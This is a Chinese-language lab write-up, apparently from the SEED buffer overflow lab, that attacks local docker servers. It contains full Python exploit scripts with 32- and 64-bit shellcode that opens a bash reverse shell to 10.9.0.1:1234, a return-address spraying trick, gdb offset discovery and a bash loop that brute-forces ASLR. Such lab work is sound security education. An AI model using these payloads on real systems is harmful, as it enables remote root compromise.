缓冲区溢出漏洞实验
本节实验环境通过docker容器给出,关于实验环境的配置不再赘述,我们直接开始漏洞攻击
攻击代码模版如下,shellcode可以放在content中的任意地址,由于nop填充,ret只需大致范围,便可滑到shellcode中
#!/usr/bin/python3
import sys
shellcode= (
#put your shellcode here
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
##################################################################
# Put the shellcode somewhere in the payload
start = 300 # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
bufaddr = 0xffffd718 # Change this number
ret = bufaddr + 200 # Change this number
offset = 116 # Change this number
# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
任务一:32位已知ebp,buffer地址
初始使用 echo hello | nc 10.9.0.5 9090来探测server1程序,得到如下返回信息,可知bof中的ebp地址及buffer起始地址,地址相减可以得到 offset=0x4c8-0x458+4=0x74

接下来试探最大inputsize,随意cat一个大文件并nc服务器,cat exploit.py | nc 10.9.0.5 9090 ,得到以下结果,可以的到最大输入size为517

此时所有信息已获取,可以进行攻击尝试,填充攻击模版如下。通过start设定shellcode在payload中的位置,ret地址设为bufaddr+200,小于bufaddr+300,可以滑到shellcode中
#!/usr/bin/python3
import sys
shellcode= (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*"
"-c*"
# The * in this line serves as the position marker *
"echo 2;/bin/bash -i > /dev/tcp/10.9.0.1/1234 0<&1 2>&1 *"
"AAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBB" # Placeholder for argv[1] --> "-c"
"CCCC" # Placeholder for argv[2] --> the command string
"DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
##################################################################
# Put the shellcode somewhere in the payload
start = 300 # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
bufaddr = 0xffffd458 # Change this number
ret = bufaddr + 200 # Change this number
offset = 116 # Change this number
# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
此处对我们的反弹shell /bin/bash -i > /dev/tcp/10.9.0.1/1234 0<&1 2>&1进行解释:-i为交互模式,>重定向输出到10.9.0.1的1234端口,后续将stdout地址中也就是目前的端口连接中的内容,分别作为标准输入和stderr的输出位置,实现shell的反射。同时需要我们在本地机使用 nc -l -nv 1234开启端口监听
我们运行该脚本,并 cat badfile | nc 10.9.0.5 9090查看结果


成功获取服务器root权限
任务二:32位已知buffer,未知ebp
前置步骤同任务一,我们可以得到inputsize与buffer初始地址,但是此处无法得到ebp地址,如下图所示。因此,我们的offset位置难以确定

但由于实验中所说,此处的buffersize被锁定在了100-200间,因此,我们可以将这一部分的字节全部填充为ret地址,使得无论offset是多少,都可以ret到正确的地址
因此给出如下的攻击代码,shellcode部分不变,start部分靠后,确保在最大bufsize 200以后,同时循环填充104-204间的所有byte,写入ret地址
start = 350 # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
bufaddr = 0xffffd408
ret = bufaddr + 300 # Change this number
# Use 4 for 32-bit address and 8 for 64-bit address
for offset in range(104,204,4):
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################
# Write the content to a file
with open('badfile2', 'wb') as f:
f.write(content)
攻击结果如下,成功获取到server2的root权限

任务三:64位 大BufferSize
如本节标题所述,本任务开始64位程序的攻击。与32位机器上的缓冲区溢出攻击相比,在64位机器上的攻击更为困难。目前只允许从0x00到0x00007FFFFFFFFFFF的地址。这意味着每一个8字节地址的最高两位总是为零。
在本节缓冲区溢出攻击中,我们需要将至少一个地址存储在负载中,并通过strcpy()函数将其复制到栈中。然而strcpy()函数会在遇到零时停止复制,如果像之前一样将shellcode放在ret地址后,则无法被写入栈中
首先依然是通过 echo hello | nc 10.9.0.7 9090来查探offset与bufaddr,结果如下。可以看到本节程序offset为0xD0,远远超过shellcode的大小。

因此,我们设计出如下的攻击代码,可以看到此处我们的start地址很小,说明shellcode被放在了bof函数内部,同时ret将帮助程序流跳转到shellcode处执行
#!/usr/bin/python3
import sys
shellcode= (
"\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
"\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
"\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
"\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
"/bin/bash*"
"-c*"
# The * in this line serves as the position marker *
"echo 2;/bin/bash -i > /dev/tcp/10.9.0.1/1234 0<&1 2>&1 *"
"AAAAAAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBBBBBB" # Placeholder for argv[1] --> "-c"
"CCCCCCCC" # Placeholder for argv[2] --> the command string
"DDDDDDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
##################################################################
# Put the shellcode somewhere in the payload
start = 40 # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
bufaddr = 0x7fffffffe330
ret = bufaddr + 20 # Change this number
offset = 0xD8
# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little')
print((ret).to_bytes(8,byteorder='little'))
##################################################################
# Write the content to a file
with open('badfile3', 'wb') as f:
f.write(content)
我们执行该段攻击代码,成功获取server3的root shell

任务四:64位小bufsize
通过上述方法,我们确实可以成功利用漏洞,但该方法必须确保bufsize足够大。然而当我们对server4进行试探后发现,本节bufsize仅有0x60字节,完全不够shellcode的存储。
因此我们必须另辟蹊径,想想stack程序中哪里还有可能存储着我们的shellcode呢?

观察如下stack源码,可以发现:payload真正被用户输入的部分其实在main函数的str中,而我们前几节的攻击对象buffer只是将str的内容strcpy到buffer中去了。既然strcpy有截断问题,无法将后续shellcode存入到buffer中。我们便可以考虑从str入手,仅通过buffer修改bof的ret地址,将程序控制流引导到str中的shellcode上便可。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifndef BUF_SIZE
#define BUF_SIZE 200
#endif
void printBuffer(char * buffer, int size);
void dummy_function(char *str);
int bof(char *str)
{
char buffer[BUF_SIZE];
unsigned long int *framep;
asm("movq %%rbp, %0" : "=r" (framep));
printf("Frame Pointer (rbp) inside bof(): 0x%.16lx\n", (unsigned long) framep);
printf("Buffer's address inside bof(): 0x%.16lx\n", (unsigned long) &buffer);
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
int length = fread(str, sizeof(char), 517, stdin);
printf("Input size: %d\n", length);
dummy_function(str);
fprintf(stdout, "==== Returned Properly ====\n");
return 1;
}
void dummy_function(char *str)
{
char dummy_buffer[1000];
memset(dummy_buffer, 0, 1000);
bof(str);
}
void printBuffer(char * buffer, int size)
{
int i;
for (i=0; i<size; i++){
if (i % 20 == 0) printf("\n%.3d: ", i);
printf("%.2x ", (unsigned char) buffer[i]);
}
}
由于服务器返回信息过于单一。我们便使用gdb去动态调试Stack_L4程序,来获取str的地址与buffer地址间的关系。我们使用的是docker,运行的为本地编译的程序,因此直接调试实验文件夹下的本地程序.gdb中命令顺序如下
gdb stack-L4
b main
r
p /x &str
b bof
c
p /x &buffer
通过调试,我们获得的关键信息如下,由此得到了str的首地址:bufaddr+0x490。注意!!!docker中的程序地址与本地调试会有微小差异,因此要求动态重定位


根据上述分析,我们更新攻击代码如下,为防止偏差,shellcode放在300处,同时ret尽可能靠近shellcode地址,故+300。
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
##################################################################
# Put the shellcode somewhere in the payload
start = 517-len(shellcode)-7 # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
bufaddr = 0x7fffffffe3a0
ret = bufaddr + 0x490+300 # Change this number
offset = 0x60+8
# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little')
print((ret).to_bytes(8,byteorder='little'))
##################################################################
# Write the content to a file
with open('badfile4', 'wb') as f:
f.write(content)
攻击结果如下图所,成功获取server4的root

任务五:对抗ASLR地址随机化
本节,我们通过命令 sudo /sbin/sysctl -w kernel.randomize_va_space=2打开linux中的全局地址随机化,该设置将会使程序在每次启动时,都被加载到不同的内存地址上。
我们拿server1举例,在开启ASLR后,多次进行执行 echo hello | nc 10.0.0.5 9090,结果如下图。可以看到,我们的bufaddr和ebp每次都在进行变化,因此先前的固定地址脚本无法使用了

然而在32位linux中,可用进行地址随机化的比特数仅为19比特。如果我们反复运行攻击,则很容易击中目标。故此处使用如下脚本进行对服务器的暴力攻击,当成功反射shell是,脚本则会自动暂停,等待用户操作
SECONDS=0
value=0
while true; do
value=$(( $value + 1 ))
duration=$SECONDS
min=$(($duration / 60))
sec=$(($duration % 60))
echo "$min minutes and $sec seconds elapsed."
echo "The program has been running $value times so far."
cat badfile | nc 10.9.0.5 9090
done
笔者运气很好,仅用三分半便完成了暴力破解

